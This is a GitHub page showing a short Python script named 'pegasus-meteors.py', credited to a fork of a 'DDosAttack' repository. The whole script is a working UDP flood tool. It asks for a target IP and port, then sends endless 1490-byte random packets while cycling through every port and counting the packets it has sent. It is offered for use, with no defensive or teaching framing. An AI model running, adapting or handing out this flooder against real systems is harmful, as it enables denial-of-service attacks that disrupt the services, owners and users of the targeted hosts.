-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathpegasus-meteors.py
48 lines (41 loc) · 1.29 KB
/
pegasus-meteors.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import sys
import os
import time
import socket
import random
from datetime import datetime
def main():
# Declaración del tiempo actual
now = datetime.now()
hour = now.hour
minute = now.minute
day = now.day
month = now.month
year = now.year
# El socket obtiene el dominio del conector, en este caso IPV4 y el diagrama IP.
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# Genera cadena de números aleatorios para envío al objetivo.
bytes = random._urandom(1490)
os.system("clear")
print("Meteoros de pegaso version 1.1")
print("Autor : Cha0smagick")
print("github : https://github.com/Cha0smagick")
print("forked and edited from from: https://github.com/Sanskuy/DDosAttack")
print()
ip = input("IP objetivo: ")
port = int(input("Puerto a utilizar: "))
os.system("clear")
print("Pegasus meteor fists!")
sent = 0
try:
while True:
sock.sendto(bytes, (ip, port))
sent += 1
port = port + 1 if port < 65534 else 1
print(f"Se enviaron {sent} meteoros a {ip} a través del puerto:{port}")
except KeyboardInterrupt:
print("\nAtaque detenido por el usuario.")
finally:
sock.close()
if __name__ == "__main__":
main()